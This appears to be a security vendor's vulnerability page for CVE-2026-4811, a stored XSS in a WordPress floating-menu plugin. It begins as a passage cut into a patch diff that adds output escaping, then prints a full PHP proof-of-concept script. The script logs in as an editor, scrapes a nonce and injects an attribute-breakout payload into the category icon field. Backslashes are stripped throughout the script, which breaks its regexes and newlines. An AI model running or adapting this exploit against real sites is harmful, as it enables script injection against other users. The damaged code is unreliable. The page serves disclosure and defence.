-                    'class'             => isset( $option['class'] ) ? $option['class'] : $name,
-                    'label_for'         => "{$section}[{$name}]",
-                    'desc'              => isset( $option['desc'] ) ? $option['desc'] : '',
-                    'name'              => $label,
-                    'section'           => $section,
-                    'size'              => isset( $option['size'] ) ? $option['size'] : null,
-                    'options'           => isset( $option['options'] ) ? $option['options'] : '',
-                    'std'               => isset( $option['default'] ) ? $option['default'] : '',
-                    'sanitize_callback' => isset( $option['sanitize_callback'] ) ? $option['sanitize_callback'] : '',
-                    'type'              => $type,
-                    'placeholder'       => isset( $option['placeholder'] ) ? $option['placeholder'] : '',
-                    'min'               => isset( $option['min'] ) ? $option['min'] : '',
-                    'max'               => isset( $option['max'] ) ? $option['max'] : '',
-                    'step'              => isset( $option['step'] ) ? $option['step'] : '',
+            // Register settings (creates entries in the options table).
+            foreach ($this->settings_sections as $section) {
+                register_setting(
+                    $section['id'],
+                    $section['id'],
+                    array($this, 'sanitize_options')
                 );
-
-                add_settings_field( "{$section}[{$name}]", $label, $callback, $section, $section, $args );
             }
         }

-        // creates our settings in the options table
-        foreach ( $this->settings_sections as $section ) {
-            register_setting( $section['id'], $section['id'], array( $this, 'sanitize_options' ) );
-        }
-    }
+        /**
+         * Get field description markup.
+         *
+         * @param array $args Settings field args.
+         * @return string
+         */
+        public function get_field_description($args)
+        {
+            if (! empty($args['desc'])) {
+                // FIXED: Use wp_kses_post() so basic HTML (links, em, strong) is allowed
+                // but arbitrary/unsafe tags are stripped.
+                $desc = sprintf('<p class="description">%s</p>', wp_kses_post($args['desc']));
+            } else {
+                $desc = '';
+            }

-    /**
-     * Get field description for display
-     *
-     * @param array   $args settings field args
-     */
-    public function get_field_description( $args ) {
-        if ( ! empty( $args['desc'] ) ) {
-            $desc = sprintf( '<p class="description">%s</p>', $args['desc'] );
-        } else {
-            $desc = '';
+            return $desc;
         }

-        return $desc;
-    }
-
-    /**
-     * Displays a text field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_text( $args ) {
-
-        $value       = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size        = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-        $type        = isset( $args['type'] ) ? $args['type'] : 'text';
-        $placeholder = empty( $args['placeholder'] ) ? '' : ' placeholder="' . $args['placeholder'] . '"';
-
-        $html        = sprintf( '<input type="%1$s" class="%2$s-text" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder );
-        $html       .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays a url field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_url( $args ) {
-        $this->callback_text( $args );
-    }
-
-    /**
-     * Displays a number field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_number( $args ) {
-        $value       = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size        = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-        $type        = isset( $args['type'] ) ? $args['type'] : 'number';
-        $placeholder = empty( $args['placeholder'] ) ? '' : ' placeholder="' . $args['placeholder'] . '"';
-        $min         = ( $args['min'] == '' ) ? '' : ' min="' . $args['min'] . '"';
-        $max         = ( $args['max'] == '' ) ? '' : ' max="' . $args['max'] . '"';
-        $step        = ( $args['step'] == '' ) ? '' : ' step="' . $args['step'] . '"';
-
-        $html        = sprintf( '<input type="%1$s" class="%2$s-number" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder, $min, $max, $step );
-        $html       .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays a checkbox for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_checkbox( $args ) {
-
-        $value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-
-        $html  = '<fieldset>';
-        $html  .= sprintf( '<label for="wpuf-%1$s[%2$s]">', $args['section'], $args['id'] );
-        $html  .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="off" />', $args['section'], $args['id'] );
-        $html  .= sprintf( '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s]" name="%1$s[%2$s]" value="on" %3$s />', $args['section'], $args['id'], checked( $value, 'on', false ) );
-        $html  .= sprintf( '%1$s</label>', $args['desc'] );
-        $html  .= '</fieldset>';
+        /**
+         * Callback: text / url field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_text($args)
+        {
+            $value       = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size        = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+            $type        = isset($args['type']) ? esc_attr($args['type']) : 'text';
+            $placeholder = ! empty($args['placeholder']) ? ' placeholder="' . esc_attr($args['placeholder']) . '"' : '';
+
+            $html  = sprintf(
+                '<input type="%1$s" class="%2$s-text" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>',
+                $type,
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $value,
+                $placeholder
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: URL field (delegates to callback_text).
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_url($args)
+        {
+            $this->callback_text($args);
+        }
+
+        /**
+         * Callback: number field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_number($args)
+        {
+            $value       = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size        = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+            $type        = 'number';
+            $placeholder = ! empty($args['placeholder']) ? ' placeholder="' . esc_attr($args['placeholder']) . '"' : '';
+            $min         = ('' !== $args['min']) ? ' min="' . esc_attr($args['min']) . '"' : '';
+            $max         = ('' !== $args['max']) ? ' max="' . esc_attr($args['max']) . '"' : '';
+            $step        = ('' !== $args['step']) ? ' step="' . esc_attr($args['step']) . '"' : '';
+
+            $html  = sprintf(
+                '<input type="%1$s" class="%2$s-number" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>',
+                $type,
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $value,
+                $placeholder,
+                $min,
+                $max,
+                $step
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: checkbox field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_checkbox($args)
+        {
+            $value = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+
+            $html  = '<fieldset>';
+            $html .= sprintf(
+                '<label for="wpuf-%1$s[%2$s]">',
+                esc_attr($args['section']),
+                esc_attr($args['id'])
+            );
+            $html .= sprintf(
+                '<input type="hidden" name="%1$s[%2$s]" value="off" />',
+                esc_attr($args['section']),
+                esc_attr($args['id'])
+            );
+            $html .= sprintf(
+                '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s]" name="%1$s[%2$s]" value="on" %3$s />',
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                checked($value, 'on', false)
+            );
+            // FIXED: desc is passed through wp_kses_post() to allow safe HTML but strip unsafe tags.
+            $html .= wp_kses_post($args['desc']) . '</label>';
+            $html .= '</fieldset>';
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: multicheck field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_multicheck($args)
+        {
+            $value = $this->get_option($args['id'], $args['section'], $args['std']);
+            $html  = '<fieldset>';
+            $html .= sprintf(
+                '<input type="hidden" name="%1$s[%2$s]" value="" />',
+                esc_attr($args['section']),
+                esc_attr($args['id'])
+            );
+
+            foreach ($args['options'] as $key => $label) {
+                $checked = isset($value[$key]) ? $value[$key] : '0';
+                $html   .= sprintf(
+                    '<label for="wpuf-%1$s[%2$s][%3$s]">',
+                    esc_attr($args['section']),
+                    esc_attr($args['id']),
+                    esc_attr($key)
+                );
+                $html .= sprintf(
+                    '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s][%3$s]" name="%1$s[%2$s][%3$s]" value="%3$s" %4$s />',
+                    esc_attr($args['section']),
+                    esc_attr($args['id']),
+                    esc_attr($key),
+                    checked($checked, $key, false)
+                );
+                $html .= esc_html($label) . '</label><br>';
+            }

-        echo $html;
-    }
+            $html .= $this->get_field_description($args);
+            $html .= '</fieldset>';

-    /**
-     * Displays a multicheckbox for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_multicheck( $args ) {
-
-        $value = $this->get_option( $args['id'], $args['section'], $args['std'] );
-        $html  = '<fieldset>';
-        $html .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="" />', $args['section'], $args['id'] );
-        foreach ( $args['options'] as $key => $label ) {
-            $checked = isset( $value[$key] ) ? $value[$key] : '0';
-            $html    .= sprintf( '<label for="wpuf-%1$s[%2$s][%3$s]">', $args['section'], $args['id'], $key );
-            $html    .= sprintf( '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s][%3$s]" name="%1$s[%2$s][%3$s]" value="%3$s" %4$s />', $args['section'], $args['id'], $key, checked( $checked, $key, false ) );
-            $html    .= sprintf( '%1$s</label><br>',  $label );
+            echo $html; // $html is fully escaped above.
         }

-        $html .= $this->get_field_description( $args );
-        $html .= '</fieldset>';
+        /**
+         * Callback: radio field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_radio($args)
+        {
+            $value = $this->get_option($args['id'], $args['section'], $args['std']);
+            $html  = '<fieldset>';
+
+            foreach ($args['options'] as $key => $label) {
+                $html .= sprintf(
+                    '<label for="wpuf-%1$s[%2$s][%3$s]">',
+                    esc_attr($args['section']),
+                    esc_attr($args['id']),
+                    esc_attr($key)
+                );
+                $html .= sprintf(
+                    '<input type="radio" class="radio" id="wpuf-%1$s[%2$s][%3$s]" name="%1$s[%2$s]" value="%3$s" %4$s />',
+                    esc_attr($args['section']),
+                    esc_attr($args['id']),
+                    esc_attr($key),
+                    checked($value, $key, false)
+                );
+                $html .= esc_html($label) . '</label><br>';
+            }

-        echo $html;
-    }
+            $html .= $this->get_field_description($args);
+            $html .= '</fieldset>';

-    /**
-     * Displays a radio button for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_radio( $args ) {
-
-        $value = $this->get_option( $args['id'], $args['section'], $args['std'] );
-        $html  = '<fieldset>';
-
-        foreach ( $args['options'] as $key => $label ) {
-            $html .= sprintf( '<label for="wpuf-%1$s[%2$s][%3$s]">',  $args['section'], $args['id'], $key );
-            $html .= sprintf( '<input type="radio" class="radio" id="wpuf-%1$s[%2$s][%3$s]" name="%1$s[%2$s]" value="%3$s" %4$s />', $args['section'], $args['id'], $key, checked( $value, $key, false ) );
-            $html .= sprintf( '%1$s</label><br>', $label );
+            echo $html; // $html is fully escaped above.
         }

-        $html .= $this->get_field_description( $args );
-        $html .= '</fieldset>';
-
-        echo $html;
-    }
-
-    /**
-     * Displays a selectbox for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_select( $args ) {
+        /**
+         * Callback: select field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_select($args)
+        {
+            $value = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size  = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+
+            $html = sprintf(
+                '<select class="%1$s" name="%2$s[%3$s]" id="%2$s[%3$s]">',
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id'])
+            );
+
+            foreach ($args['options'] as $key => $label) {
+                $html .= sprintf(
+                    '<option value="%1$s"%2$s>%3$s</option>',
+                    esc_attr($key),
+                    selected($value, $key, false),
+                    esc_html($label)
+                );
+            }

-        $value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size  = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-        $html  = sprintf( '<select class="%1$s" name="%2$s[%3$s]" id="%2$s[%3$s]">', $size, $args['section'], $args['id'] );
+            $html .= '</select>';
+            $html .= $this->get_field_description($args);

-        foreach ( $args['options'] as $key => $label ) {
-            $html .= sprintf( '<option value="%s"%s>%s</option>', $key, selected( $value, $key, false ), $label );
+            echo $html; // $html is fully escaped above.
         }

-        $html .= sprintf( '</select>' );
-        $html .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays a textarea for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_textarea( $args ) {
-
-        $value       = esc_textarea( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size        = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-        $placeholder = empty( $args['placeholder'] ) ? '' : ' placeholder="'.$args['placeholder'].'"';
-
-        $html        = sprintf( '<textarea rows="5" cols="55" class="%1$s-text" id="%2$s[%3$s]" name="%2$s[%3$s]"%4$s>%5$s</textarea>', $size, $args['section'], $args['id'], $placeholder, $value );
-        $html        .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays the html for a settings field
-     *
-     * @param array   $args settings field args
-     * @return string
-     */
-    function callback_html( $args ) {
-        echo $this->get_field_description( $args );
-    }
+        /**
+         * Callback: textarea field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_textarea($args)
+        {
+            $value       = esc_textarea($this->get_option($args['id'], $args['section'], $args['std']));
+            $size        = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+            $placeholder = ! empty($args['placeholder']) ? ' placeholder="' . esc_attr($args['placeholder']) . '"' : '';
+
+            $html  = sprintf(
+                '<textarea rows="5" cols="55" class="%1$s-text" id="%2$s[%3$s]" name="%2$s[%3$s]"%4$s>%5$s</textarea>',
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $placeholder,
+                $value
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: HTML (description-only) field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_html($args)
+        {
+            echo $this->get_field_description($args); // Escaped inside get_field_description().
+        }
+
+        /**
+         * Callback: WP Editor (wysiwyg) field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_wysiwyg($args)
+        {
+            $value = $this->get_option($args['id'], $args['section'], $args['std']);
+            $size  = isset($args['size']) && ! is_null($args['size']) ? $args['size'] : '500px';
+
+            // FIXED: esc_attr() on the inline style value.
+            printf('<div style="max-width: %s;">', esc_attr($size));
+
+            $editor_settings = array(
+                'teeny'         => true,
+                'textarea_name' => $args['section'] . '[' . $args['id'] . ']',
+                'textarea_rows' => 10,
+            );

-    /**
-     * Displays a rich text textarea for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_wysiwyg( $args ) {
-
-        $value = $this->get_option( $args['id'], $args['section'], $args['std'] );
-        $size  = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : '500px';
-
-        echo '<div style="max-width: ' . $size . ';">';
+            if (isset($args['options']) && is_array($args['options'])) {
+                $editor_settings = array_merge($editor_settings, $args['options']);
+            }

-        $editor_settings = array(
-            'teeny'         => true,
-            'textarea_name' => $args['section'] . '[' . $args['id'] . ']',
-            'textarea_rows' => 10
-        );
+            // wp_editor() handles its own escaping internally.
+            wp_editor($value, $args['section'] . '-' . $args['id'], $editor_settings);

-        if ( isset( $args['options'] ) && is_array( $args['options'] ) ) {
-            $editor_settings = array_merge( $editor_settings, $args['options'] );
+            echo '</div>';
+            echo $this->get_field_description($args); // Escaped inside get_field_description().
         }

-        wp_editor( $value, $args['section'] . '-' . $args['id'], $editor_settings );
-
-        echo '</div>';
-
-        echo $this->get_field_description( $args );
-    }
-
-    /**
-     * Displays a file upload field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_file( $args ) {
-
-        $value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size  = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-        $id    = $args['section']  . '[' . $args['id'] . ']';
-        $label = isset( $args['options']['button_label'] ) ? $args['options']['button_label'] : __( 'Choose File' );
-
-        $html  = sprintf( '<input type="text" class="%1$s-text wpsa-url" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s"/>', $size, $args['section'], $args['id'], $value );
-        $html  .= '<input type="button" class="button wpsa-browse" value="' . $label . '" />';
-        $html  .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays a password field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_password( $args ) {
-
-        $value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size  = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-
-        $html  = sprintf( '<input type="password" class="%1$s-text" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s"/>', $size, $args['section'], $args['id'], $value );
-        $html  .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
-    /**
-     * Displays a color picker field for a settings field
-     *
-     * @param array   $args settings field args
-     */
-    function callback_color( $args ) {
-
-        $value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );
-        $size  = isset( $args['size'] ) && !is_null( $args['size'] ) ? $args['size'] : 'regular';
-
-        $html  = sprintf( '<input type="text" class="%1$s-text wp-color-picker-field" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s" data-default-color="%5$s" />', $size, $args['section'], $args['id'], $value, $args['std'] );
-        $html  .= $this->get_field_description( $args );
-
-        echo $html;
-    }
-
+        /**
+         * Callback: file upload field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_file($args)
+        {
+            $value = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size  = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+            $label = isset($args['options']['button_label'])
+                ? $args['options']['button_label']
+                : __('Choose File', 'wpb-floating-menu-or-categories');
+
+            $html  = sprintf(
+                '<input type="text" class="%1$s-text wpsa-url" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s"/>',
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $value
+            );
+            $html .= sprintf(
+                '<input type="button" class="button wpsa-browse" value="%s" />',
+                esc_attr($label) // FIXED: was unescaped previously.
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: password field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_password($args)
+        {
+            $value = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size  = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+
+            $html  = sprintf(
+                '<input type="password" class="%1$s-text" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s"/>',
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $value
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: color picker field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_color($args)
+        {
+            $value = esc_attr($this->get_option($args['id'], $args['section'], $args['std']));
+            $size  = isset($args['size']) && ! is_null($args['size']) ? sanitize_html_class($args['size']) : 'regular';
+
+            $html  = sprintf(
+                '<input type="text" class="%1$s-text wp-color-picker-field" id="%2$s[%3$s]" name="%2$s[%3$s]" value="%4$s" data-default-color="%5$s" />',
+                $size,
+                esc_attr($args['section']),
+                esc_attr($args['id']),
+                $value,
+                esc_attr($args['std']) // FIXED: was unescaped previously.
+            );
+            $html .= $this->get_field_description($args);
+
+            echo $html; // $html is fully escaped above.
+        }
+
+        /**
+         * Callback: pages dropdown field.
+         *
+         * @param array $args Settings field args.
+         */
+        public function callback_pages($args)
+        {
+            $dropdown_args = array(
+                'selected' => esc_attr($this->get_option($args['id'], $args['section'], $args['std'])),
+                'name'     => $args['section'] . '[' . $args['id'] . ']',
+                'id'       => $args['section'] . '[' . $args['id'] . ']',
+                'echo'     => 0,
+            );
+
+            // wp_dropdown_pages() returns safely escaped HTML.
+            echo wp_dropdown_pages($dropdown_args); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- escaped by wp_dropdown_pages().
+        }
+
+        /**
+         * Sanitize callback for Settings API.
+         *
+         * @param mixed $options Raw option values.
+         * @return mixed Sanitized option values.
+         */
+        public function sanitize_options($options)
+        {
+            if (! $options) {
+                return $options;
+            }

-    /**
-     * Displays a select box for creating the pages select box
-     *
-     * @param array   $args settings field args
-     */
-    function callback_pages( $args ) {
-
-        $dropdown_args = array(
-            'selected' => esc_attr($this->get_option($args['id'], $args['section'], $args['std'] ) ),
-            'name'     => $args['section'] . '[' . $args['id'] . ']',
-            'id'       => $args['section'] . '[' . $args['id'] . ']',
-            'echo'     => 0
-        );
-        $html = wp_dropdown_pages( $dropdown_args );
-        echo $html;
-    }
+            foreach ($options as $option_slug => $option_value) {
+                $sanitize_callback = $this->get_sanitize_callback($option_slug);

-    /**
-     * Sanitize callback for Settings API
-     *
-     * @return mixed
-     */
-    function sanitize_options( $options ) {
+                if ($sanitize_callback) {
+                    $options[$option_slug] = call_user_func($sanitize_callback, $option_value);
+                }
+            }

-        if ( !$options ) {
             return $options;
         }

-        foreach( $options as $option_slug => $option_value ) {
-            $sanitize_callback = $this->get_sanitize_callback( $option_slug );
-
-            // If callback is set, call it
-            if ( $sanitize_callback ) {
-                $options[ $option_slug ] 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4811 - WPB Floating Menu or Categories – Sticky Floating Side Menu & Categories with Icons <= 1.0.8 - Authenticated (Editor+) Stored XSS via 'Icon CSS Class' Category Field

/**
 * This script demonstrates stored XSS by injecting a payload into the
 * 'Icon CSS Class' field of a WordPress category.
 *
 * Usage:
 *   1. Set $target_url, $username, and $password below.
 *   2. Run: php cve-2026-4811-poc.php
 *
 * Requirements:
 *   - PHP cURL extension
 *   - Valid Editor+ credentials
 *   - The vulnerable plugin version <= 1.0.8
 */

// ===== CONFIGURATION =====
$target_url = 'http://example.com';  // Change to your target WordPress site
$username   = 'editor_user';          // Valid Editor or higher user
$password   = 'editor_password';      // Password for the above user

// XSS payload: breaks out of class attribute and injects onload handler
$xss_payload = 'fa fa-car" onload="alert(document.domain)" x="';

// ===== SCRIPT START =====
echo "[+] Starting CVE-2026-4811 PoCn";

// 1. Login and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url) . '%2Fwp-admin%2F&testcookie=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$response = curl_exec($ch);
curl_close($ch);

preg_match_all('/^Set-Cookie:s*([^;]+)/mi', $response, $matches);
$cookies = implode('; ', array_unique($matches[1]));
echo "[+] Logged in as: $usernamen";

// 2. Get a list of categories to find an existing term ID (or use a known one)
//    We'll fetch the category list page to get the nonce and existing terms.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit-tags.php?taxonomy=category');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$page = curl_exec($ch);
curl_close($ch);

// Extract nonce for edit action (look for wpnonce in tag edit links)
preg_match('/<a[^>]*href="[^"]*tag_ID=(d+)[^"]*_wpnonce=([a-f0-9]+)[^"]*"/', $page, $matches);
if (empty($matches)) {
    // Fallback: try to find any tag ID from the table
    preg_match('/class="row-title"[^>]*href="[^"]*tag_ID=(d+)/', $page, $id_matches);
    if (empty($id_matches)) {
        die("[-] Could not find any existing category. Create one manually first.n");
    }
    $term_id = $id_matches[1];
    // Nonce from row actions
    preg_match('/href="[^"]*tag_ID=' . $term_id . '[^"]*_wpnonce=([a-f0-9]+)/', $page, $nonce_matches);
    $nonce = $nonce_matches[1];
} else {
    $term_id = $matches[1];
    $nonce = $matches[2];
}
echo "[+] Found term ID: $term_idn";
echo "[+] Extracted nonce: $noncen";

// 3. Post the XSS payload to the edit-tags page
$post_url = $target_url . '/wp-admin/edit-tags.php?action=edit&taxonomy=category&tag_ID=' . $term_id . '&_wpnonce=' . $nonce;
$post_data = 'tag_ID=' . $term_id . '&taxonomy=category&name=Uncategorized&slug=uncategorized&description=&parent=-1&_wpnonce=' . $nonce . '&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&wpb_fmc_term_meta%5Bwpb_fmc_cat_icons%5D=' . urlencode($xss_payload) . '&submit=Update';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Payload submittedn";

// 4. Verify: Fetch the category list page and check if the payload renders
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit-tags.php?taxonomy=category');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
$page = curl_exec($ch);
curl_close($ch);

if (strpos($page, htmlspecialchars($xss_payload)) !== false) {
    echo "[+] SUCCESS: Payload is stored and rendered on the category list page.n";
    echo "[+] XSS will trigger when any user views the category list.n";
} else {
    echo "[-] Payload may not have been stored. Check the response manually.n";
}

echo "[+] PoC complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School